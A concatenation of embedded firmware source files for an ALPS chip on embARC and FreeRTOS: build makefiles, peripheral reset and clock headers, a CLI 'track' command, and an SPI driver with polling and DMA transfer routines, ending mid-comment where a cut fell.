TCFFILE_NAME = $(firstword $(basename $(notdir $(TCF))))
endif
endif
## If CUR_CORE is not in SUPPORTED_BD_VERS list, then force BD_VER and VALID_BD_VER to be 23
ifeq ($(TCFFILE_IS_VALID),1)
ifeq ($(VALID_CHIP_VER),)
override CHIP_VER := B
override VALID_CHIP_VER := B
endif
endif
## Try to include different chip version makefiles
ifneq ($(TCFFILE_IS_VALID),1)
ifeq ($(VALID_CHIP_VER),)
$(info CHIP $(CHIP) Version - $(SUPPORTED_CHIP_VERS) are supported)
$(error $(CHIP) Version $(CHIP_VER) is not supported, please check it!)
endif
endif
## Compiler Options
CHIP_CORE_DIR = $(CHIP_ALPS_DIR)/configs/$(VALID_CHIP_VER)
COMMON_COMPILE_PREREQUISITES += $(CHIP_ALPS_DIR)/configs/core_configs.mk
include $(CHIP_ALPS_DIR)/configs/core_configs.mk
COMMON_COMPILE_PREREQUISITES += $(CHIP_ALPS_DIR)/configs/core_compiler.mk
include $(CHIP_ALPS_DIR)/configs/core_compiler.mk
## Chip Related Settings
OPENOCD_OPTIONS = -s $(OPENOCD_SCRIPT_ROOT) -f $(OPENOCD_CFG_FILE)
#BOARD_ALPS_DEFINES += -DBOARD_SPI_FREQ=800000
##
# \brief alps chip related source and header
##
# onchip ip object rules
ifdef ONCHIP_IP_LIST
CHIP_ALPS_DEV_CSRCDIR += $(foreach ONCHIP_IP_OBJ, $(ONCHIP_IP_LIST), $(addprefix $(CHIP_ALPS_DIR)/drivers/ip/, $(ONCHIP_IP_OBJ)))
endif
include $(EMBARC_ROOT)/device/device.mk
##
# \brief alps device driver related
##
CHIP_ALPS_DEV_CSRCDIR += $(DEV_CSRCDIR)
CHIP_ALPS_DEV_ASMSRCDIR += $(DEV_ASMSRCDIR)
CHIP_ALPS_DEV_INCDIR += $(DEV_INCDIR)
CHIP_ALPS_CSRCDIR += $(CHIP_ALPS_DEV_CSRCDIR) $(CHIP_CORE_DIR) \
$(CHIP_ALPS_DIR)/common \
$(CHIP_ALPS_DIR)/drivers/clkgen \
$(CHIP_ALPS_DIR)/drivers/mux \
$(CHIP_ALPS_DIR)/drivers/lvds \
$(CHIP_ALPS_DIR)/drivers/dmu
CHIP_ALPS_ASMSRCDIR += $(CHIP_ALPS_DEV_ASMSRCDIR) $(CHIP_CORE_DIR)
CHIP_ALPS_INCDIR += $(CHIP_ALPS_DEV_INCDIR) $(CHIP_CORE_DIR) \
$(CHIP_ALPS_DIR)/common \
$(CHIP_ALPS_DIR)/drivers/clkgen \
$(CHIP_ALPS_DIR)/drivers/mux \
$(CHIP_ALPS_DIR)/drivers/lvds \
$(CHIP_ALPS_DIR)/drivers/dmu \
$(CHIP_ALPS_DIR)/drivers/ip/can_r2p0
# find all the source files in the target directories
CHIP_ALPS_CSRCS = $(call get_csrcs, $(CHIP_ALPS_CSRCDIR))
CHIP_ALPS_ASMSRCS = $(call get_asmsrcs, $(CHIP_ALPS_ASMSRCDIR))
# get object files
CHIP_ALPS_COBJS = $(call get_relobjs, $(CHIP_ALPS_CSRCS))
CHIP_ALPS_ASMOBJS = $(call get_relobjs, $(CHIP_ALPS_ASMSRCS))
CHIP_ALPS_OBJS = $(CHIP_ALPS_COBJS) $(CHIP_ALPS_ASMOBJS)
# get dependency files
CHIP_ALPS_DEPS = $(call get_deps, $(CHIP_ALPS_OBJS))
# extra macros to be defined
CHIP_ALPS_DEFINES += $(CORE_DEFINES) $(DEV_DEFINES) -DCHIP_ALPS_$(VALID_CHIP_VER)
# genearte library
CHIP_LIB_ALPS = $(OUT_DIR)/libchip_alps.a
# library generation rule
$(CHIP_LIB_ALPS): $(CHIP_ALPS_OBJS)
$(TRACE_ARCHIVE)
$(Q)$(AR) $(AR_OPT) $@ $(CHIP_ALPS_OBJS)
# specific compile rules
# user can add rules to compile this middleware
# if not rules specified to this middleware, it will use default compiling rules
# Middleware Definitions
BOARD_INCDIR += $(CHIP_ALPS_INCDIR)
BOARD_CSRCDIR += $(CHIP_ALPS_CSRCDIR)
BOARD_ASMSRCDIR += $(CHIP_ALPS_ASMSRCDIR)
BOARD_CSRCS += $(CHIP_ALPS_CSRCS)
BOARD_CXXSRCS +=
BOARD_ASMSRCS += $(CHIP_ALPS_ASMSRCS)
BOARD_ALLSRCS += $(CHIP_ALPS_CSRCS) $(CHIP_ALPS_ASMSRCS)
BOARD_COBJS += $(CHIP_ALPS_COBJS)
BOARD_CXXOBJS +=
BOARD_ASMOBJS += $(CHIP_ALPS_ASMOBJS)
BOARD_ALLOBJS += $(CHIP_ALPS_OBJS)
BOARD_DEFINES += $(CHIP_ALPS_DEFINES)
BOARD_DEPS += $(CHIP_ALPS_DEPS)
BOARD_LIB = $(CHIP_LIB_ALPS)
<file_sep>#ifndef _GPIO_HAL_H_
#define _GPIO_HAL_H_
typedef void (*callback)(void *);
typedef enum gpio_interrupt_triggle_type {
GPIO_INT_HIGH_LEVEL_ACTIVE = 0,
GPIO_INT_LOW_LEVEL_ACTIVE,
GPIO_INT_RISING_EDGE_ACTIVE,
GPIO_INT_FALLING_EDGE_ACTIVE,
GPIO_INT_BOTH_EDGE_ACTIVE
} gpio_int_active_t;
int32_t gpio_init(void);
/*
* Description:
* set the direction of @gpio_no.
* @dir: 0, input(DW_GPIO_DIR_INPUT); 1, output(DW_GPIO_DIR_OUTPUT)
* */
int32_t gpio_set_direct(uint32_t gpio_no, uint32_t dir);
int32_t gpio_write(uint32_t gpio_no, uint32_t level);
int32_t gpio_read(uint32_t gpio_no);
void gpio_interrupt_clear(uint32_t gpio_no);
int32_t gpio_interrupt_enable(uint32_t gpio_no, uint32_t en);
int32_t gpio_int_unregister(uint32_t gpio_no);
int32_t gpio_int_register(uint32_t gpio_no, callback func, gpio_int_active_t type);
#endif
<file_sep>
SUPPORTED_BOARD_VERS = 1
## Select Chip Version
BD_VER ?= 1
override BD_VER := $(strip $(BD_VER))
## Set Valid Board
VALID_BD_VER = $(call check_item_exist, $(BD_VER), $(SUPPORTED_BOARD_VERS))
## Try Check CHIP is valid
ifeq ($(VALID_BD_VER), )
$(info BOARD_VER - $(SUPPORTED_BOARD_VERS) are supported)
$(error BOARD_VER $(BD_VER) is not supported, please check it!)
endif
#BOARD_CSRCS += $(BOARDS_ROOT)/$(BOARD)/board.c
BOARD_CSRCS += $(BOARDS_ROOT)/$(BOARD)/can_baud.c \
$(BOARDS_ROOT)/$(BOARD)/flash_header.c
BOARD_COBJS += $(call get_relobjs, $(BOARD_CSRCS))
BOARD_INC_DIR += $(BOARDS_ROOT)/$(BOARD)
BOARD_ROOT_DIR = $(BOARDS_ROOT)/$(BOARD)
<file_sep>#ifndef _ALPS_RESET_API_H_
#define _ALPS_RESET_API_H_
/****************************************
* @rst = 1, assert reset the module.
* @rst = 0, deassert reset the module.
****************************************/
static inline void xip_reset(uint32_t rst)
{
if (rst) {
raw_writel(REG_CLKGEN_RSTN_FLASH_CTRL, 0);
} else {
raw_writel(REG_CLKGEN_RSTN_FLASH_CTRL, 1);
}
}
static inline void bb_reset(uint32_t rst)
{
if (rst) {
raw_writel(REG_CLKGEN_RSTN_BB, 0);
} else {
raw_writel(REG_CLKGEN_RSTN_BB, 1);
}
}
static inline void uart0_reset(uint32_t rst)
{
if (rst) {
raw_writel(REG_CLKGEN_RSTN_UART_0, 0);
} else {
raw_writel(REG_CLKGEN_RSTN_UART_0, 1);
}
}
static inline void uart1_reset(uint32_t rst)
{
if (rst) {
raw_writel(REG_CLKGEN_RSTN_UART_1, 0);
} else {
raw_writel(REG_CLKGEN_RSTN_UART_1, 1);
}
}
static inline void i2c_reset(uint32_t rst)
{
if (rst) {
raw_writel(REG_CLKGEN_RSTN_I2C, 0);
} else {
raw_writel(REG_CLKGEN_RSTN_I2C, 1);
}
}
static inline void spi_m0_reset(uint32_t rst)
{
if (rst) {
raw_writel(REG_CLKGEN_RSTN_SPI_M0, 0);
} else {
raw_writel(REG_CLKGEN_RSTN_SPI_M0, 1);
}
}
static inline void spi_m1_reset(uint32_t rst)
{
if (rst) {
raw_writel(REG_CLKGEN_RSTN_SPI_M1, 0);
} else {
raw_writel(REG_CLKGEN_RSTN_SPI_M1, 1);
}
}
static inline void spi_s_reset(uint32_t rst)
{
if (rst) {
raw_writel(REG_CLKGEN_RSTN_SPI_S, 0);
} else {
raw_writel(REG_CLKGEN_RSTN_SPI_S, 1);
}
}
static inline void qspi_reset(uint32_t rst)
{
if (rst) {
raw_writel(REG_CLKGEN_RSTN_QSPI, 0);
} else {
raw_writel(REG_CLKGEN_RSTN_QSPI, 1);
}
}
static inline void gpio_reset(uint32_t rst)
{
if (rst) {
raw_writel(REG_CLKGEN_RSTN_GPIO, 0);
} else {
raw_writel(REG_CLKGEN_RSTN_GPIO, 1);
}
}
static inline void CAN_0_reset(uint32_t rst)
{
if (rst) {
raw_writel(REG_CLKGEN_RSTN_CAN_0, 0);
} else {
raw_writel(REG_CLKGEN_RSTN_CAN_0, 1);
}
}
static inline void CAN_1_reset(uint32_t rst)
{
if (rst) {
raw_writel(REG_CLKGEN_RSTN_CAN_1, 0);
} else {
raw_writel(REG_CLKGEN_RSTN_CAN_1, 1);
}
}
static inline void dma_reset(uint32_t rst)
{
if (rst) {
raw_writel(REG_CLKGEN_RSTN_DMA, 0);
} else {
raw_writel(REG_CLKGEN_RSTN_DMA, 1);
}
}
static inline void hw_crc_reset(uint32_t rst)
{
if (rst) {
raw_writel(REG_CLKGEN_RSTN_CRC, 0);
} else {
raw_writel(REG_CLKGEN_RSTN_CRC, 1);
}
}
static inline void timer_reset(uint32_t rst)
{
if (rst) {
raw_writel(REG_CLKGEN_RSTN_TIMER, 0);
} else {
raw_writel(REG_CLKGEN_RSTN_TIMER, 1);
}
}
static inline void dmu_reset(uint32_t rst)
{
if (rst) {
raw_writel(REG_CLKGEN_RSTN_DMU, 0);
} else {
raw_writel(REG_CLKGEN_RSTN_DMU, 1);
}
}
static inline void pwm_reset(uint32_t rst)
{
if (rst) {
raw_writel(REG_CLKGEN_RSTN_PWM, 0);
} else {
raw_writel(REG_CLKGEN_RSTN_PWM, 1);
}
}
static inline int32_t spi_reset(uint32_t id)
{
int32_t result = 0;
switch (id) {
case 0:
spi_m0_reset(1);
spi_m0_reset(0);
break;
case 1:
spi_m1_reset(1);
spi_m1_reset(0);
break;
case 2:
spi_s_reset(1);
spi_s_reset(0);
break;
default: result = -1;
}
return result;
}
#endif
<file_sep>#include <string.h>
#include "embARC_toolchain.h"
#include "FreeRTOS.h"
#include "task.h"
#include "embARC.h"
#include "embARC_debug.h"
#include "dw_gpio.h"
#include "gpio_hal.h"
#include "spi_hal.h"
#define SPIS_SERVER_S2M_SYNC_GPIO_ID (3)
static uint32_t s2m_sync_sts = 0;
int32_t spis_server_s2m_sync(void)
{
int32_t result = E_OK;
chip_hw_udelay(50);
//uint32_t cpu_sts = arc_lock_save();
result = gpio_write(SPIS_SERVER_S2M_SYNC_GPIO_ID, s2m_sync_sts & 0x1);
if (E_OK == result) {
s2m_sync_sts = s2m_sync_sts + 1;
} else {
/* TODO: */
}
//arc_unlock_restore(cpu_sts);
return result;
}
int32_t spis_server_sync_init(void)
{
int32_t result = E_OK;
result = gpio_set_direct(SPIS_SERVER_S2M_SYNC_GPIO_ID, \
DW_GPIO_DIR_OUTPUT);
if (E_OK == result) {
result = spis_server_s2m_sync();
}
return result;
}
<file_sep>#ifndef SENSOR_CONFIG_CLI_H
#define SENSOR_CONFIG_CLI_H
#define ANGLE_CALIB_INFO_LEN 163
#define FLASH_PAGE_SIZE 256
void sensor_config_cli_commands(void);
void ang_calib_data_init(float *data_buf);
#endif
<file_sep>#ifndef _CHIP_CLOCK_H_
#define _CHIP_CLOCK_H_
#define RC_BOOT_CLOCK_FREQ (50000000UL)
#define XTAL_CLOCK_FREQ (50000000UL)
#define PLL0_OUTPUT_CLOCK_FREQ (400000000UL)
#define PLL1_OUTPUT_CLOCK_FREQ (300000000UL)
#define BUS_CLK_100M 2
#define BUS_CLK_50M 5
typedef enum alps_b_clock_node {
RC_BOOT_CLOCK = 0,
XTAL_CLOCK,
PLL0_CLOCK,
PLL1_CLOCK,
SYSTEM_REF_CLOCK,
CPU_WORK_CLOCK,
APB_REF_CLOCK,
APB_CLOCK,
AHB_CLOCK,
CPU_CLOCK,
MEM_CLOCK,
ROM_CLOCK,
RAM_CLOCK,
CAN0_CLOCK,
CAN1_CLOCK,
XIP_CLOCK,
BB_CLOCK,
UART0_CLOCK,
UART1_CLOCK,
I2C_CLOCK,
SPI_M0_CLOCK,
SPI_M1_CLOCK,
SPI_S_CLOCK,
QSPI_CLOCK,
GPIO_CLOCK,
DAC_OUT_CLOCK,
CRC_CLOCK,
TIMER_CLOCK,
DMU_CLOCK,
PWM_CLOCK
} clock_source_t;
#endif
<file_sep>#ifndef _CRC_HAL_H_
#define _CRC_HAL_H_
#include "hw_crc.h"
int32_t crc_init(crc_poly_t poly, uint32_t mode);
int32_t crc32_update(uint32_t crc, uint32_t *data, uint32_t len);
int32_t crc16_update(uint32_t crc, uint16_t *data, uint32_t len);
uint32_t crc_output(void);
uint32_t crc_init_value(void);
#endif
<file_sep>#include "embARC_assert.h"
#include <string.h>
#include <portmacro.h>
#include <FreeRTOS_CLI.h>
#include <projdefs.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include "track_cli.h"
static bool track_cli_registered = false;
static enum OBJECT_OUTPUT new_format;
static BaseType_t track_cmd_handler(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString)
{
const char *param1 = NULL, *param2 = NULL;
BaseType_t len1 = 0, len2 = 0;
param1 = FreeRTOS_CLIGetParameter(pcCommandString, 1, &len1);
param2 = FreeRTOS_CLIGetParameter(pcCommandString, 2, &len2);
if (param1 != NULL) {
if (strncmp(param1, "new_format", len1) == 0) {
if (param2 != NULL)
new_format = (int8_t) strtol(param2, NULL, 0);
if (new_format == CAN) {
#if (USE_CAN_FD == 1)
snprintf(pcWriteBuffer, xWriteBufferLen, "CAN FD\n\r");
#else
snprintf(pcWriteBuffer, xWriteBufferLen, "CAN\n\r");
#endif
} else {
snprintf(pcWriteBuffer, xWriteBufferLen, "new_format = %d\n\r", new_format);
}
return pdFALSE;
}
} else {
static uint32_t count = 0;
switch(count) {
case 0 :
snprintf(pcWriteBuffer, xWriteBufferLen, "new_format = %d\r\n", new_format);
count++;
return pdTRUE;
default :
count = 0;
return pdFALSE;
}
}
return pdFALSE;
}
/* track command */
static const CLI_Command_Definition_t track_cmd = {
"track",
"track \n\r"
"\tWrite or read track cfg information. \n\r"
"\tUsage: track [[param] value] \n\r",
track_cmd_handler,
-1
};
void track_cmd_register(void)
{
if (track_cli_registered)
return;
FreeRTOS_CLIRegisterCommand(&track_cmd);
track_cli_registered = true;
/* Setting the default output mode of tracking data*/
new_format = 0;
return;
}
int8_t get_track_cfg(void)
{
return new_format;
}
<file_sep>#include "embARC_toolchain.h"
#include "embARC_error.h"
#include "embARC.h"
#include "embARC_debug.h"
#include "arc_exception.h"
#include "dev_common.h"
#include "dw_ssi.h"
#include "spi_hal.h"
#include "dma_hal.h"
#define SPI_ISR(_func_name_) static void _func_name_(void *params)
typedef enum {
SPI_XFER_IDLE = 0,
SPI_XFER_LOCK,
SPI_XFER_INITED,
SPI_XFER_BUSY
} spi_xfer_state_t;
typedef enum {
SPI_XFER_POLLING = 0,
SPI_XFER_INT,
SPI_XFER_DMA
} spi_xfer_mode_t;
typedef struct {
uint32_t xfer_err_cnt;
uint32_t xfer_cnt;
uint32_t xfer_unexcepted;
} spi_xfer_statics_t;
typedef struct {
uint8_t state;
/* @xfer_mode. */
spi_xfer_mode_t rx_mode;
spi_xfer_mode_t tx_mode;
#if 0
/* static configuration. */
uint8_t transfer_mode;
uint8_t slv_sel_toggle_en;
uint8_t serial_protocol;
uint8_t rd_strobe_en;
uint8_t wait_cycles;
uint8_t ins_len;
uint8_t transfer_type;
#endif
uint32_t baud;
spi_xfer_desc_t desc;
dw_ssi_t *dev;
DEV_BUFFER *txbuf;
DEV_BUFFER *rxbuf;
/* callback for interrupt or DMA? */
void (*callback)(void *);
spi_xfer_statics_t statics;
} spi_xfer_t;
/*
* @inited_flag, bitmap to id.
* @
* */
typedef struct {
uint8_t inited_flag;
uint8_t nof_dev;
spi_xfer_t *xfer_info;
} spi_driver_t;
static spi_driver_t spi_drv;
static spi_xfer_desc_t xfer_desc_default = {
.clock_mode = SPI_CLK_MODE_0,
.dfs = 32,
.cfs = 0,
.spi_frf = SPI_FRF_STANDARD,
.rx_thres = 31,
.tx_thres = 0,
};
static void spi_isr(uint32_t id, void *params);
SPI_ISR(spi0_isr) { spi_isr(0, NULL); }
SPI_ISR(spi1_isr) { spi_isr(1, NULL); }
SPI_ISR(spi2_isr) { spi_isr(2, NULL); }
static inline int32_t spi_int_register(uint32_t id, dw_ssi_t *spi_dev)
{
int32_t result = E_OK;
uint32_t err_irq, rx_irq, tx_irq;
void (*isr)(void *);
tx_irq = spi_dev->int_tx;
rx_irq = spi_dev->int_rx;
err_irq = spi_dev->int_err;
if (0 == id) {
isr = spi0_isr;
} else if (1 == id) {
isr = spi1_isr;
} else if (2 == id) {
isr = spi2_isr;
} else {
isr = NULL;
}
do {
result = int_handler_install(tx_irq, isr);
if (E_OK != result) {
break;
}
result = int_handler_install(rx_irq, isr);
if (E_OK != result) {
break;
}
result = int_handler_install(err_irq, isr);
if (E_OK != result) {
break;
}
} while (0);
return result;
}
static int32_t spi_init(void)
{
int32_t result = E_OK;
uint32_t info_size = 0;
spi_drv.nof_dev = DW_SPI_NUM;
info_size = DW_SPI_NUM * sizeof(spi_xfer_t);
spi_drv.xfer_info = (spi_xfer_t *)pvPortMalloc(info_size);
if (NULL == spi_drv.xfer_info) {
result = E_NORES;
} else {
spi_drv.inited_flag = 1;
}
return result;
}
int32_t spi_open(uint32_t id, uint32_t baud)
{
int32_t result = E_OK;
spi_xfer_t *xfer = NULL;
dw_ssi_t *spi_dev = NULL;
dw_ssi_ops_t *spi_ops = NULL;
uint32_t cpu_sts = arc_lock_save();
if (0 == spi_drv.inited_flag) {
result = spi_init();
}
do {
/* spi_init failed. */
if (E_OK != result) {
break;
}
if ((id >= spi_drv.nof_dev) || (0 == baud)) {
result = E_PAR;
break;
}
xfer = &(spi_drv.xfer_info[id]);
if (SPI_XFER_IDLE != xfer->state) {
result = E_DBUSY;
break;
} else {
spi_enable(id, 1);
}
spi_dev = (dw_ssi_t *)dw_ssi_get_dev(id);
if ((NULL == spi_dev) || (NULL == spi_dev->ops)) {
result = E_NOEXS;
break;
} else {
xfer->dev = spi_dev;
}
spi_ops = (dw_ssi_ops_t *)spi_dev->ops;
if (DEV_MASTER_MODE == spi_dev->mode) {
result = spi_ops->baud(spi_dev, baud);
if (E_OK != result) {
break;
}
}
/* TODO: register interrupt isr. */
result = spi_int_register(id, spi_dev);
if (E_OK != result) {
break;
}
result = spi_ops->int_enable(spi_dev, 0x1f, 0);
if (E_OK != result) {
break;
}
result = spi_ops->enable(spi_dev, 1);
if (E_OK != result) {
break;
}
xfer->rx_mode = SPI_XFER_POLLING;
xfer->tx_mode = SPI_XFER_POLLING;
xfer->baud = baud;
xfer->state = SPI_XFER_LOCK;
} while (0);
arc_unlock_restore(cpu_sts);
return result;
}
int32_t spi_device_mode(uint32_t id)
{
int32_t result = E_OK;
spi_xfer_t *xfer = NULL;
dw_ssi_t *spi_dev = NULL;
if ((id >= spi_drv.nof_dev)) {
result = E_PAR;
} else {
xfer = &(spi_drv.xfer_info[id]);
spi_dev = xfer->dev;
if ((NULL == spi_dev)) {
result = E_SYS;
} else {
result = (int32_t)spi_dev->mode;
}
}
return result;
}
int32_t spi_fifo_threshold_update(uint32_t id, uint32_t rx, uint32_t tx)
{
int32_t result = E_OK;
spi_xfer_t *xfer = &(spi_drv.xfer_info[id]);
dw_ssi_t *spi_dev = xfer->dev;
if ((id < spi_drv.nof_dev) && (NULL != spi_dev) && (NULL != spi_dev->ops)) {
if (SPI_XFER_IDLE != xfer->state) {
result = E_DBUSY;
} else {
dw_ssi_ops_t *spi_ops = (dw_ssi_ops_t *)spi_dev->ops;
result = spi_ops->fifo_threshold(spi_dev, rx, tx);
}
} else {
result = E_PAR;
}
return result;
}
int32_t spi_transfer_config(uint32_t id, spi_xfer_desc_t *desc)
{
int32_t result = E_OK;
spi_xfer_t *xfer = NULL;
dw_ssi_t *spi_dev = NULL;
dw_ssi_ops_t *spi_ops = NULL;
dw_ssi_ctrl_t ctrl = DW_SSI_CTRL_STATIC_DEFAULT;
dw_ssi_spi_ctrl_t spi_ctrl = DW_SSI_SPI_CTRL_STATIC_DEFAULT;
uint32_t cpu_sts = arc_lock_save();
do {
if ((id >= spi_drv.nof_dev) || (NULL == desc)) {
result = E_PAR;
break;
}
xfer = &(spi_drv.xfer_info[id]);
if ((SPI_XFER_IDLE == xfer->state) || \
(SPI_XFER_BUSY == xfer->state)) {
result = E_DBUSY;
break;
}
spi_dev = xfer->dev;
if ((NULL == spi_dev) || (NULL == spi_dev->ops)) {
result = E_SYS;
break;
} else {
spi_ops = (dw_ssi_ops_t *)spi_dev->ops;
}
if (NULL == desc) {
desc = &xfer_desc_default;
}
ctrl.serial_clk_pol = (desc->clock_mode >> 1) & 0x1;
ctrl.serial_clk_phase = (desc->clock_mode & 0x1);
ctrl.data_frame_size = desc->dfs;
ctrl.ctrl_frame_size = desc->cfs;
ctrl.frame_format = desc->spi_frf;
result = spi_ops->fifo_threshold(spi_dev, desc->rx_thres, desc->tx_thres);
if (E_OK != result) {
break;
}
result = spi_ops->enable(spi_dev, 0);
if (E_OK != result) {
break;
}
result = spi_ops->control(spi_dev, &ctrl);
if (E_OK != result) {
break;
}
SPI_XFER_DESC_COPY(&(xfer->desc), desc);
if (ctrl.frame_format > SPI_FRF_STANDARD) {
spi_ctrl.ins_len = DW_SSI_INS_LEN_8;
}
result = spi_ops->spi_control(spi_dev, &spi_ctrl);
if (E_OK != result) {
break;
} else {
xfer->state = SPI_XFER_INITED;
}
if (DEV_MASTER_MODE == spi_dev->mode) {
result = spi_ops->rx_sample_delay(spi_dev,
desc->rx_sample_delay);
if (E_OK != result) {
break;
}
}
result = spi_ops->enable(spi_dev, 1);
if (E_OK != result) {
break;
}
} while (0);
arc_unlock_restore(cpu_sts);
return result;
}
static int32_t spi_raw_xfer(dw_ssi_t *dw_spi, dw_ssi_ops_t *ssi_ops,\
DEV_BUFFER *rx_buf, DEV_BUFFER *tx_buf);
int32_t spi_xfer(uint32_t id, uint32_t *txdata, uint32_t *rxdata, uint32_t len)
{
int32_t result = E_OK;
uint32_t cpu_sts;
DEV_BUFFER rx_buf;
DEV_BUFFER tx_buf;
spi_xfer_t *xfer = NULL;
dw_ssi_t *spi_dev = NULL;
dw_ssi_ops_t *spi_ops = NULL;
do {
if ((id >= spi_drv.nof_dev) || (0 == len) || \
((NULL == txdata) && (NULL == rxdata))) {
result = E_PAR;
break;
}
cpu_sts = arc_lock_save();
xfer = &(spi_drv.xfer_info[id]);
if (SPI_XFER_BUSY == xfer->state) {
result = E_DBUSY;
break;
} else {
xfer->state = SPI_XFER_BUSY;
}
arc_unlock_restore(cpu_sts);
spi_dev = xfer->dev;
spi_ops = spi_dev->ops;
if ((NULL == spi_dev) || (NULL == spi_ops)) {
result = E_SYS;
break;
}
if (txdata) {
DEV_BUFFER_INIT(&tx_buf, txdata, len);
xfer->txbuf = &tx_buf;
} else {
xfer->txbuf = NULL;
}
if (rxdata) {
DEV_BUFFER_INIT(&rx_buf, rxdata, len);
xfer->rxbuf = &rx_buf;
} else {
xfer->rxbuf = NULL;
}
while (len) {
cpu_sts = arc_lock_save();
result = spi_raw_xfer(spi_dev, spi_ops, \
xfer->rxbuf, xfer->txbuf);
arc_unlock_restore(cpu_sts);
if (result <= 0) {
break;
} else {
len -= result;
result = E_OK;
}
}
/*
if (result > 0) {
xfer->state = SPI_XFER_IDLE;
}
*/
xfer->rxbuf = NULL;
xfer->txbuf = NULL;
xfer->state = SPI_XFER_IDLE;
} while (0);
return result;
}
int32_t spi_write(uint32_t id, uint32_t *data, uint32_t len)
{
return spi_xfer(id, data, NULL, len);
}
int32_t spi_read(uint32_t id, uint32_t *data, uint32_t len)
{
return spi_xfer(id, NULL, data, len);
}
int32_t spi_dma_write(uint32_t id, uint32_t *data, uint32_t len, void (*func)(void *))
{
int32_t result = E_OK;
uint32_t cpu_sts;
spi_xfer_t *xfer = NULL;
dw_ssi_t *spi_dev = NULL;
dw_ssi_ops_t *spi_ops = NULL;
dma_trans_desc_t desc;
do {
if ((id >= spi_drv.nof_dev) || (0 == len) || (NULL == data)) {
result = E_PAR;
break;
}
cpu_sts = arc_lock_save();
xfer = &(spi_drv.xfer_info[id]);
if (SPI_XFER_INITED != xfer->state) {
result = E_SYS;
break;
} else {
/* after dma done, back to SPI_XFER_INIT. */
xfer->state = SPI_XFER_BUSY;
}
arc_unlock_restore(cpu_sts);
spi_dev = xfer->dev;
spi_ops = spi_dev->ops;
if ((NULL == spi_dev) || (NULL == spi_ops)) {
result = E_SYS;
break;
}
desc.transfer_type = MEM_TO_PERI;
desc.priority = DMA_CHN_PRIOR_4;
desc.block_transfer_size = len;
desc.src_desc.burst_tran_len = BURST_LEN8;
desc.src_desc.addr_mode = ADDRESS_INCREMENT;
desc.src_desc.sts_upd_en = 0;
desc.src_desc.hs = HS_SELECT_SW;
desc.src_desc.addr = (uint32_t)data;
desc.dst_desc.burst_tran_len = BURST_LEN8;
desc.dst_desc.addr_mode = ADDRESS_FIXED;
desc.dst_desc.hw_if = spi_dev->tx_dma_req;
desc.dst_desc.sts_upd_en = 0;
desc.dst_desc.hs = HS_SELECT_HW;
result = spi_ops->fifo_entry(spi_dev, (&desc.dst_desc.addr));
if (E_OK != result) {
break;
}
result = spi_ops->dma_config(spi_dev, 1, 1, xfer->desc.tx_thres);
if (E_OK != result) {
break;
}
result = dma_transfer(&desc, func);
} while (0);
return result;
}
int32_t spi_dma_read(uint32_t id, uint32_t *data, uint32_t len, void (*func)(void *))
{
int32_t result = E_OK;
uint32_t cpu_sts;
dma_trans_desc_t desc;
spi_xfer_t *xfer = NULL;
dw_ssi_t *spi_dev = NULL;
dw_ssi_ops_t *spi_ops = NULL;
do {
if ((id >= spi_drv.nof_dev) || (0 == len) || (NULL == data)) {
result = E_PAR;
break;
}
cpu_sts = arc_lock_save();
xfer = &(spi_drv.xfer_info[id]);
if (SPI_XFER_INITED != xfer->state) {
arc_unlock_restore(cpu_sts);
result = E_SYS;
break;
} else {
/* after dma done, back to SPI_XFER_INIT. */
xfer->state = SPI_XFER_BUSY;
}
arc_unlock_restore(cpu_sts);
spi_dev = xfer->dev;
spi_ops = spi_dev->ops;
if ((NULL == spi_dev) || (NULL == spi_ops)) {
result = E_SYS;
break;
}
desc.transfer_type = PERI_TO_MEM;
desc.priority = DMA_CHN_PRIOR_4;
desc.block_transfer_size = len;
desc.src_desc.burst_tran_len = BURST_LEN1;
desc.src_desc.addr_mode = ADDRESS_FIXED;
desc.src_desc.hw_if = spi_dev->rx_dma_req;
desc.src_desc.sts_upd_en = 0;
desc.src_desc.hs = HS_SELECT_HW;
//desc.src_desc.addr = (uint32_t)data;
desc.dst_desc.burst_tran_len = BURST_LEN1;
desc.dst_desc.addr_mode = ADDRESS_INCREMENT;
desc.dst_desc.sts_upd_en = 0;
desc.dst_desc.hs = HS_SELECT_SW;
desc.dst_desc.addr = (uint32_t)data;
result = spi_ops->fifo_entry(spi_dev, (&desc.src_desc.addr));
if (E_OK != result) {
break;
}
result = spi_ops->dma_config(spi_dev, 0, 1, xfer->desc.rx_thres);
if (E_OK != result) {
break;
}
result = dma_transfer(&desc, func);
} while (0);
return result;
}
int32_t spi_databuffer_install(uint32_t id, uint32_t rx_or_tx, DEV_BUFFER *devbuf)
{
int32_t result = E_OK;
uint32_t cpu_sts;
if ((id >= spi_drv.nof_dev) || (NULL == devbuf)) {
result = E_PAR;
} else {
spi_xfer_t *xfer = &(spi_drv.xfer_info[id]);
cpu_sts = arc_lock_save();
if (SPI_XFER_BUSY == xfer->state) {
result = E_DBUSY;
} else {
if (rx_or_tx) {
xfer->txbuf = devbuf;
} else {
xfer->rxbuf = devbuf;
}
}
arc_unlock_restore(cpu_sts);
}
return result;
}
int32_t spi_databuffer_uninstall(uint32_t id, uint32_t rx_or_tx)
{
int32_t result = E_OK;
uint32_t cpu_sts;
if ((id >= spi_drv.nof_dev)) {
result = E_PAR;
} else {
spi_xfer_t *xfer = &(spi_drv.xfer_info[id]);
cpu_sts = arc_lock_save();
if (rx_or_tx) {
xfer->txbuf = NULL;
} else {
xfer->rxbuf = NULL;
}
arc_unlock_restore(cpu_sts);
}
return result;
}
int32_t spi_interrupt_install(uint32_t id, uint32_t rx_or_tx, void (*func)(void *))
{
int32_t result = E_OK;
uint32_t cpu_sts;
//uint32_t mask;
uint32_t int_id;
dw_ssi_t *spi_dev = NULL;
dw_ssi_ops_t *spi_ops = NULL;
do {
if ((id >= spi_drv.nof_dev) || (NULL == func)) {
result = E_PAR;
break;
}
spi_xfer_t *xfer = &(spi_drv.xfer_info[id]);
spi_dev = xfer->dev;
spi_ops = spi_dev->ops;
if ((NULL == spi_dev) || (NULL == spi_ops)) {
result = E_SYS;
break;
}
cpu_sts = arc_lock_save();
if (SPI_XFER_BUSY == xfer->state) {
result = E_DBUSY;
} else {
if (func) {
xfer->callback = func;
}
}
arc_unlock_restore(cpu_sts);
if (E_OK != result) {
break;
}
if (rx_or_tx) {
//mask = SSI_INT_TX_FIFO_EMPTY;
int_id = spi_dev->int_tx;
} else {
//mask = SSI_INT_RX_FIFO_FULL;
int_id = spi_dev->int_rx;
}
/*
